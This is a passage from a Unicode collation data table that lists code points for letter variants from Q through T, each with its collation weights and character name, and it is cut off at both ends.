[.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Q +1D5FE ; [.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Q +1D632 ; [.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Q +1D666 ; [.1D9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Q +1D69A ; [.1D9C.0020.0005] # MATHEMATICAL MONOSPACE SMALL Q +24E0 ; [.1D9C.0020.0006] # CIRCLED LATIN SMALL LETTER Q +0051 ; [.1D9C.0020.0008] # LATIN CAPITAL LETTER Q +FF31 ; [.1D9C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Q +1F120 ; [*0310.0020.0004][.1D9C.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Q +211A ; [.1D9C.0020.000B] # DOUBLE-STRUCK CAPITAL Q +1D410 ; [.1D9C.0020.000B] # MATHEMATICAL BOLD CAPITAL Q +1D444 ; [.1D9C.0020.000B] # MATHEMATICAL ITALIC CAPITAL Q +1D478 ; [.1D9C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Q +1D4AC ; [.1D9C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Q +1D4E0 ; [.1D9C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Q +1D514 ; [.1D9C.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Q +1D57C ; [.1D9C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Q +1D5B0 ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Q +1D5E4 ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Q +1D618 ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Q +1D64C ; [.1D9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Q +1D680 ; [.1D9C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Q +24C6 ; [.1D9C.0020.000C] # CIRCLED LATIN CAPITAL LETTER Q +1F160 ; [.1D9C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Q +1F140 ; [.1D9C.0020.001D] # SQUARED LATIN CAPITAL LETTER Q +1F180 ; [.1D9C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Q +0239 ; [.1D9C.0020.0004][.1D87.0020.0004] # LATIN SMALL LETTER QP DIGRAPH +A757 ; [.1DA0.0020.0002] # LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER +A756 ; [.1DA0.0020.0008] # LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER +A759 ; [.1DA1.0020.0002] # LATIN SMALL LETTER Q WITH DIAGONAL STROKE +A758 ; [.1DA1.0020.0008] # LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE +02A0 ; [.1DA2.0020.0002] # LATIN SMALL LETTER Q WITH HOOK +024B ; [.1DA6.0020.0002] # LATIN SMALL LETTER Q WITH HOOK TAIL +024A ; [.1DA6.0020.0008] # LATIN CAPITAL LETTER SMALL Q WITH HOOK TAIL +0138 ; [.1DAA.0020.0002] # LATIN SMALL LETTER KRA +0072 ; [.1DAE.0020.0002] # LATIN SMALL LETTER R +FF52 ; [.1DAE.0020.0003] # FULLWIDTH LATIN SMALL LETTER R +036C ; [.1DAE.0020.0004] # COMBINING LATIN SMALL LETTER R +1DCA ; [.1DAE.0020.0004] # COMBINING LATIN SMALL LETTER R BELOW +24AD ; [*0310.0020.0004][.1DAE.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER R +1D42B ; [.1DAE.0020.0005] # MATHEMATICAL BOLD SMALL R +1D45F ; [.1DAE.0020.0005] # MATHEMATICAL ITALIC SMALL R +1D493 ; [.1DAE.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL R +1D4C7 ; [.1DAE.0020.0005] # MATHEMATICAL SCRIPT SMALL R +1D4FB ; [.1DAE.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL R +1D52F ; [.1DAE.0020.0005] # MATHEMATICAL FRAKTUR SMALL R +1D563 ; [.1DAE.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL R +1D597 ; [.1DAE.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL R +1D5CB ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF SMALL R +1D5FF ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL R +1D633 ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL R +1D667 ; [.1DAE.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL R +1D69B ; [.1DAE.0020.0005] # MATHEMATICAL MONOSPACE SMALL R +24E1 ; [.1DAE.0020.0006] # CIRCLED LATIN SMALL LETTER R +0052 ; [.1DAE.0020.0008] # LATIN CAPITAL LETTER R +FF32 ; [.1DAE.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER R +1F121 ; [*0310.0020.0004][.1DAE.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER R +211B ; [.1DAE.0020.000B] # SCRIPT CAPITAL R +211C ; [.1DAE.0020.000B] # BLACK-LETTER CAPITAL R +211D ; [.1DAE.0020.000B] # DOUBLE-STRUCK CAPITAL R +1D411 ; [.1DAE.0020.000B] # MATHEMATICAL BOLD CAPITAL R +1D445 ; [.1DAE.0020.000B] # MATHEMATICAL ITALIC CAPITAL R +1D479 ; [.1DAE.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL R +1D4E1 ; [.1DAE.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL R +1D57D ; [.1DAE.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL R +1D5B1 ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL R +1D5E5 ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL R +1D619 ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL R +1D64D ; [.1DAE.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL R +1D681 ; [.1DAE.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL R +24C7 ; [.1DAE.0020.000C] # CIRCLED LATIN CAPITAL LETTER R +1F12C ; [.1DAE.0020.000C] # CIRCLED ITALIC LATIN CAPITAL LETTER R +1F161 ; [.1DAE.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER R +02B3 ; [.1DAE.0020.0014] # MODIFIER LETTER SMALL R +1D63 ; [.1DAE.0020.0015] # LATIN SUBSCRIPT SMALL LETTER R +1D3F ; [.1DAE.0020.001D] # MODIFIER LETTER CAPITAL R +1F141 ; [.1DAE.0020.001D] # SQUARED LATIN CAPITAL LETTER R +1F181 ; [.1DAE.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER R +0155 ; [.1DAE.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER R WITH ACUTE +0154 ; [.1DAE.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER R WITH ACUTE +0159 ; [.1DAE.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER R WITH CARON +0158 ; [.1DAE.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER R WITH CARON +1E59 ; [.1DAE.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER R WITH DOT ABOVE +1E58 ; [.1DAE.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER R WITH DOT ABOVE +0157 ; [.1DAE.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER R WITH CEDILLA +0156 ; [.1DAE.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER R WITH CEDILLA +A7A7 ; [.1DAE.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER R WITH OBLIQUE STROKE +A7A6 ; [.1DAE.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER R WITH OBLIQUE STROKE +0211 ; [.1DAE.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER R WITH DOUBLE GRAVE +0210 ; [.1DAE.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER R WITH DOUBLE GRAVE +0213 ; [.1DAE.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER R WITH INVERTED BREVE +0212 ; [.1DAE.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER R WITH INVERTED BREVE +1E5B ; [.1DAE.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER R WITH DOT BELOW +1E5A ; [.1DAE.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW +1E5D ; [.1DAE.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER R WITH DOT BELOW AND MACRON +1E5C ; [.1DAE.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER R WITH DOT BELOW AND MACRON +1E5F ; [.1DAE.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER R WITH LINE BELOW +1E5E ; [.1DAE.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER R WITH LINE BELOW +A783 ; [.1DAE.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR R +A782 ; [.1DAE.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR R +33AD ; [.1DAE.0020.001C][.1BC2.0020.001C][.1C0A.0020.001C] # SQUARE RAD +33AE ; [.1DAE.0020.001C][.1BC2.0020.001C][.1C0A.0020.001C][*0605.0020.001C][.1DEC.0020.001C] # SQUARE RAD OVER S +33AF ; [.1DAE.0020.001C][.1BC2.0020.001C][.1C0A.0020.001C][*0605.0020.001C][.1DEC.0020.001C][.1BBA.0020.001C] # SQUARE RAD OVER S SQUARED +20A8 ; [.1DAE.0020.000A][.1DEC.0020.0004] # RUPEE SIGN +AB45 ; [.1DB2.0020.0002] # LATIN SMALL LETTER STIRRUP R +0280 ; [.1DB3.0020.0002] # LATIN LETTER SMALL CAPITAL R +1DE2 ; [.1DB3.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL R +01A6 ; [.1DB3.0020.0008] # LATIN LETTER YR +AB46 ; [.1DB7.0020.0002] # LATIN LETTER SMALL CAPITAL R WITH RIGHT LEG +A75B ; [.1DB8.0020.0002] # LATIN SMALL LETTER R ROTUNDA +1DE3 ; [.1DB8.0020.0004] # COMBINING LATIN SMALL LETTER R ROTUNDA +A75A ; [.1DB8.0020.0008] # LATIN CAPITAL LETTER R ROTUNDA +1D19 ; [.1DB9.0020.0002] # LATIN LETTER SMALL CAPITAL REVERSED R +024D ; [.1DBA.0020.0002] # LATIN SMALL LETTER R WITH STROKE +024C ; [.1DBA.0020.0008] # LATIN CAPITAL LETTER R WITH STROKE +1D72 ; [.1DBE.0020.0002] # LATIN SMALL LETTER R WITH MIDDLE TILDE +0279 ; [.1DBF.0020.0002] # LATIN SMALL LETTER TURNED R +02B4 ; [.1DBF.0020.0014] # MODIFIER LETTER SMALL TURNED R +1D1A ; [.1DC3.0020.0002] # LATIN LETTER SMALL CAPITAL TURNED R +027A ; [.1DC4.0020.0002] # LATIN SMALL LETTER TURNED R WITH LONG LEG +1D89 ; [.1DC8.0020.0002] # LATIN SMALL LETTER R WITH PALATAL HOOK +027B ; [.1DC9.0020.0002] # LATIN SMALL LETTER TURNED R WITH HOOK +02B5 ; [.1DC9.0020.0014] # MODIFIER LETTER SMALL TURNED R WITH HOOK +2C79 ; [.1DCD.0020.0002] # LATIN SMALL LETTER TURNED R WITH TAIL +027C ; [.1DCE.0020.0002] # LATIN SMALL LETTER R WITH LONG LEG +027D ; [.1DD2.0020.0002] # LATIN SMALL LETTER R WITH TAIL +2C64 ; [.1DD2.0020.0008] # LATIN CAPITAL LETTER R WITH TAIL +AB49 ; [.1DD6.0020.0002] # LATIN SMALL LETTER R WITH CROSSED-TAIL +027E ; [.1DD7.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK +1D73 ; [.1DDB.0020.0002] # LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE +027F ; [.1DDC.0020.0002] # LATIN SMALL LETTER REVERSED R WITH FISHHOOK +AB47 ; [.1DE0.0020.0002] # LATIN SMALL LETTER R WITHOUT HANDLE +AB48 ; [.1DE1.0020.0002] # LATIN SMALL LETTER DOUBLE R +AB4A ; [.1DE2.0020.0002] # LATIN SMALL LETTER DOUBLE R WITH CROSSED-TAIL +AB4B ; [.1DE3.0020.0002] # LATIN SMALL LETTER SCRIPT R +AB4C ; [.1DE4.0020.0002] # LATIN SMALL LETTER SCRIPT R WITH RING +0281 ; [.1DE5.0020.0002] # LATIN LETTER SMALL CAPITAL INVERTED R +02B6 ; [.1DE5.0020.0014] # MODIFIER LETTER SMALL CAPITAL INVERTED R +A775 ; [.1DE9.0020.0002] # LATIN SMALL LETTER RUM +A776 ; [.1DEA.0020.0002] # LATIN LETTER SMALL CAPITAL RUM +A75D ; [.1DEB.0020.0002] # LATIN SMALL LETTER RUM ROTUNDA +A75C ; [.1DEB.0020.0008] # LATIN CAPITAL LETTER RUM ROTUNDA +0073 ; [.1DEC.0020.0002] # LATIN SMALL LETTER S +FF53 ; [.1DEC.0020.0003] # FULLWIDTH LATIN SMALL LETTER S +1DE4 ; [.1DEC.0020.0004] # COMBINING LATIN SMALL LETTER S +24AE ; [*0310.0020.0004][.1DEC.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER S +1D42C ; [.1DEC.0020.0005] # MATHEMATICAL BOLD SMALL S +1D460 ; [.1DEC.0020.0005] # MATHEMATICAL ITALIC SMALL S +1D494 ; [.1DEC.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL S +1D4C8 ; [.1DEC.0020.0005] # MATHEMATICAL SCRIPT SMALL S +1D4FC ; [.1DEC.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL S +1D530 ; [.1DEC.0020.0005] # MATHEMATICAL FRAKTUR SMALL S +1D564 ; [.1DEC.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL S +1D598 ; [.1DEC.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL S +1D5CC ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF SMALL S +1D600 ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL S +1D634 ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL S +1D668 ; [.1DEC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL S +1D69C ; [.1DEC.0020.0005] # MATHEMATICAL MONOSPACE SMALL S +24E2 ; [.1DEC.0020.0006] # CIRCLED LATIN SMALL LETTER S +0053 ; [.1DEC.0020.0008] # LATIN CAPITAL LETTER S +FF33 ; [.1DEC.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER S +1F122 ; [*0310.0020.0004][.1DEC.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER S +1F12A ; [*0372.0020.0004][.1DEC.0020.000A][*0373.0020.0004] # TORTOISE SHELL BRACKETED LATIN CAPITAL LETTER S +1D412 ; [.1DEC.0020.000B] # MATHEMATICAL BOLD CAPITAL S +1D446 ; [.1DEC.0020.000B] # MATHEMATICAL ITALIC CAPITAL S +1D47A ; [.1DEC.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL S +1D4AE ; [.1DEC.0020.000B] # MATHEMATICAL SCRIPT CAPITAL S +1D4E2 ; [.1DEC.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL S +1D516 ; [.1DEC.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL S +1D54A ; [.1DEC.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL S +1D57E ; [.1DEC.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL S +1D5B2 ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL S +1D5E6 ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL S +1D61A ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL S +1D64E ; [.1DEC.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL S +1D682 ; [.1DEC.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL S +24C8 ; [.1DEC.0020.000C] # CIRCLED LATIN CAPITAL LETTER S +1F162 ; [.1DEC.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER S +02E2 ; [.1DEC.0020.0014] # MODIFIER LETTER SMALL S +209B ; [.1DEC.0020.0015] # LATIN SUBSCRIPT SMALL LETTER S +1F142 ; [.1DEC.0020.001D] # SQUARED LATIN CAPITAL LETTER S +1F182 ; [.1DEC.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER S +015B ; [.1DEC.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER S WITH ACUTE +015A ; [.1DEC.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER S WITH ACUTE +1E65 ; [.1DEC.0020.0002][.0000.0024.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH ACUTE AND DOT ABOVE +1E64 ; [.1DEC.0020.0008][.0000.0024.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH ACUTE AND DOT ABOVE +015D ; [.1DEC.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER S WITH CIRCUMFLEX +015C ; [.1DEC.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER S WITH CIRCUMFLEX +0161 ; [.1DEC.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER S WITH CARON +0160 ; [.1DEC.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER S WITH CARON +1E67 ; [.1DEC.0020.0002][.0000.0028.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH CARON AND DOT ABOVE +1E66 ; [.1DEC.0020.0008][.0000.0028.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH CARON AND DOT ABOVE +1E61 ; [.1DEC.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT ABOVE +1E60 ; [.1DEC.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT ABOVE +015F ; [.1DEC.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER S WITH CEDILLA +015E ; [.1DEC.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER S WITH CEDILLA +A7A9 ; [.1DEC.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER S WITH OBLIQUE STROKE +A7A8 ; [.1DEC.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER S WITH OBLIQUE STROKE +1E63 ; [.1DEC.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER S WITH DOT BELOW +1E62 ; [.1DEC.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW +1E69 ; [.1DEC.0020.0002][.0000.0042.0002][.0000.002E.0002] # LATIN SMALL LETTER S WITH DOT BELOW AND DOT ABOVE +1E68 ; [.1DEC.0020.0008][.0000.0042.0002][.0000.002E.0002] # LATIN CAPITAL LETTER S WITH DOT BELOW AND DOT ABOVE +0219 ; [.1DEC.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER S WITH COMMA BELOW +0218 ; [.1DEC.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER S WITH COMMA BELOW +017F ; [.1DEC.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER LONG S +1DE5 ; [.1DEC.0020.0004][.0000.010C.0004] # COMBINING LATIN SMALL LETTER LONG S +A785 ; [.1DEC.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR S +A784 ; [.1DEC.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR S +1E9B ; [.1DEC.0020.0004][.0000.010C.0004][.0000.002E.0002] # LATIN SMALL LETTER LONG S WITH DOT ABOVE +1F18D ; [.1DEC.0020.001D][.1BC2.0020.001D] # NEGATIVE SQUARED SA +1F14C ; [.1DEC.0020.001D][.1C0A.0020.001D] # SQUARED SD +2120 ; [.1DEC.0020.0014][.1D25.0020.0014] # SERVICE MARK +1F198 ; [.1DEC.0020.001D][.1D58.0020.001D][.1DEC.0020.001D] # SQUARED SOS +33DB ; [.1DEC.0020.001C][.1DAE.0020.001C] # SQUARE SR +1F14D ; [.1DEC.0020.001D][.1DEC.0020.001D] # SQUARED SS +00DF ; [.1DEC.0020.0004][.0000.010B.0004][.1DEC.0020.0004] # LATIN SMALL LETTER SHARP S +1E9E ; [.1DEC.0020.000A][.0000.010B.0004][.1DEC.0020.000A] # LATIN CAPITAL LETTER SHARP S +FB06 ; [.1DEC.0020.0004][.1E10.0020.0004] # LATIN SMALL LIGATURE ST +FB05 ; [.1DEC.0020.0004][.0000.010C.0004][.1E10.0020.0004] # LATIN SMALL LIGATURE LONG S T +33DC ; [.1DEC.0020.001D][.1E5E.0020.001C] # SQUARE SV +A731 ; [.1DF0.0020.0002] # LATIN LETTER SMALL CAPITAL S +1D74 ; [.1DF1.0020.0002] # LATIN SMALL LETTER S WITH MIDDLE TILDE +1D8A ; [.1DF2.0020.0002] # LATIN SMALL LETTER S WITH PALATAL HOOK +0282 ; [.1DF3.0020.0002] # LATIN SMALL LETTER S WITH HOOK +1DB3 ; [.1DF3.0020.0014] # MODIFIER LETTER SMALL S WITH HOOK +023F ; [.1DF7.0020.0002] # LATIN SMALL LETTER S WITH SWASH TAIL +2C7E ; [.1DF7.0020.0008] # LATIN CAPITAL LETTER S WITH SWASH TAIL +1E9C ; [.1DFB.0020.0002] # LATIN SMALL LETTER LONG S WITH DIAGONAL STROKE +1E9D ; [.1DFC.0020.0002] # LATIN SMALL LETTER LONG S WITH HIGH STROKE +0283 ; [.1DFD.0020.0002] # LATIN SMALL LETTER ESH +1DEF ; [.1DFD.0020.0004] # COMBINING LATIN SMALL LETTER ESH +01A9 ; [.1DFD.0020.0008] # LATIN CAPITAL LETTER ESH +1DB4 ; [.1DFD.0020.0014] # MODIFIER LETTER SMALL ESH +AB4D ; [.1E01.0020.0002] # LATIN SMALL LETTER BASELINE ESH +1D8B ; [.1E02.0020.0002] # LATIN SMALL LETTER ESH WITH PALATAL HOOK +01AA ; [.1E03.0020.0002] # LATIN LETTER REVERSED ESH LOOP +0285 ; [.1E07.0020.0002] # LATIN SMALL LETTER SQUAT REVERSED ESH +1D98 ; [.1E0B.0020.0002] # LATIN SMALL LETTER ESH WITH RETROFLEX HOOK +0286 ; [.1E0C.0020.0002] # LATIN SMALL LETTER ESH WITH CURL +0074 ; [.1E10.0020.0002] # LATIN SMALL LETTER T +FF54 ; [.1E10.0020.0003] # FULLWIDTH LATIN SMALL LETTER T +036D ; [.1E10.0020.0004] # COMBINING LATIN SMALL LETTER T +24AF ; [*0310.0020.0004][.1E10.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER T +1D42D ; [.1E10.0020.0005] # MATHEMATICAL BOLD SMALL T +1D461 ; [.1E10.0020.0005] # MATHEMATICAL ITALIC SMALL T +1D495 ; [.1E10.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL T +1D4C9 ; [.1E10.0020.0005] # MATHEMATICAL SCRIPT SMALL T +1D4FD ; [.1E10.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL T +1D531 ; [.1E10.0020.0005] # MATHEMATICAL FRAKTUR SMALL T +1D565 ; [.1E10.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL T +1D599 ; [.1E10.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL T +1D5CD ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF SMALL T +1D601 ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL T +1D635 ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL T +1D669 ; [.1E10.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL T +1D69D ; [.1E10.0020.0005] # MATHEMATICAL MONOSPACE SMALL T +24E3 ; [.1E10.0020.0006] # CIRCLED LATIN SMALL LETTER T +0054 ; [.1E10.0020.0008] # LATIN CAPITAL LETTER T +FF34 ; [.1E10.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER T +1F123 ; [*0310.0020.0004][.1E10.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER T +1D413 ; [.1E10.0020.000B] # MATHEMATICAL BOLD CAPITAL T +1D447 ; [.1E10.0020.000B] # MATHEMATICAL ITALIC CAPITAL T +1D47B ; [.1E10.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL T +1D4AF ; [.1E10.0020.000B] # MATHEMATICAL SCRIPT CAPITAL T +1D4E3 ; [.1E10.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL T +1D517 ; [.1E10.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL T +1D54B ; [.1E10.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL T +1D57F ; [.1E10.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL T +1D5B3 ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL T +1D5E7 ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL T +1D61B ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL T +1D64F ; [.1E10.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL T +1D683 ; [.1E10.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL T +24C9 ; [.1E10.0020.000C] # CIRCLED LATIN CAPITAL LETTER T +1F163 ; [.1E10.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER T +1D57 ; [.1E10.0020.0014] # MODIFIER LETTER SMALL T +209C ; [.1E10.0020.0015] # LATIN SUBSCRIPT SMALL LETTER T +1D40 ; [.1E10.0020.001D] # MODIFIER LETTER CAPITAL T +1F143 ; [.1E10.0020.001D] # SQUARED LATIN CAPITAL LETTER T +1F183 ; [.1E10.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER T +0165 ; [.1E10.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER T WITH CARON +0164 ; [.1E10.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER T WITH CARON +1E97 ; [.1E10.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER T WITH DIAERESIS +1E6B ; [.1E10.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER T WITH DOT ABOVE +1E6A ; [.1E10.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER T WITH DOT ABOVE +0163 ; [.1E10.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER T WITH CEDILLA +0162 ; [.1E10.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER T WITH CEDILLA +1E6D ; [.1E10.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER T WITH DOT BELOW +1E6C ; [.1E10.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER T WITH DOT BELOW +021B ; [.1E10.0020.0002][.0000.0045.0002] # LATIN SMALL LETTER T WITH COMMA BELOW +021A ; [.1E10.0020.0008][.0000.0045.0002] # LATIN CAPITAL LETTER T WITH COMMA BELOW +1E71 ; [.1E10.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER T WITH CIRCUMFLEX BELOW +1E70 ; [.1E10.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER T WITH CIRCUMFLEX BELOW +1E6F ; [.1E10.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER T WITH LINE BELOW +1E6E ; [.1E10.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER T WITH LINE BELOW +A787 ; [.1E10.0020.0004][.0000.010C.0004] # LATIN SMALL LETTER INSULAR T +A786 ; [.1E10.0020.000A][.0000.010C.0004] # LATIN CAPITAL LETTER INSULAR T +02A8 ; [.1E10.0020.0004][.1C04.0020.0004] # LATIN SMALL LETTER TC DIGRAPH WITH CURL +2121 ; [.1E10.0020.000A][.1C25.0020.000A][.1CF2.0020.000A] # TELEPHONE SIGN +1D7A ; [.1E10.0020.0004][.0000.010B.0004][.1C93.0020.0004] # LATIN SMALL LETTER TH WITH STRIKETHROUGH +3394 ; [.1E10.0020.001D][.1C93.0020.001D][.1E9C.0020.001C] # SQUARE THZ +2122 ; [.1E10.0020.0014][.1D25.0020.0014] # TRADE MARK SIGN +01BE ; [.1E10.0020.0004][.1DEC.0020.0004] # LATIN LETTER INVERTED GLOTTAL STOP WITH STROKE +02A6 ; [.1E10.0020.0004][.1DEC.0020.0004] # LATIN SMALL LETTER TS DIGRAPH +02A7 ; [.1E10.0020.0004][.1DFD.0020.0004] # LATIN SMALL LETTER TESH DIGRAPH +A729 ; [.1E10.0020.0004][.1E9C.0020.0004] # LATIN SMALL LETTER TZ +A728 ; [.1E10.0020.000A][.1E9C.0020.0004] # LATIN CAPITAL LETTER TZ +1D1B ; [.1E14.0020.0002] # LATIN LETTER SMALL CAPITAL T +0167 ; [.1E15.0020.0002] # LATIN SMALL LETTER T WITH STROKE +0166 ; [.1E15.0020.0008] # LATIN CAPITAL LETTER T WITH STROKE +2C66 ; [.1E19.0020.0002] # LATIN SMALL LETTER T WITH DIAGONAL STROKE +023E ; [.1E19.0020.0008] # LATIN CAPITAL LETTER T WITH DIAGONAL STROKE +1D75 ; [.1E1A.0020.0002] # LATIN SMALL LETTER T WITH MIDDLE TILDE +01AB ; 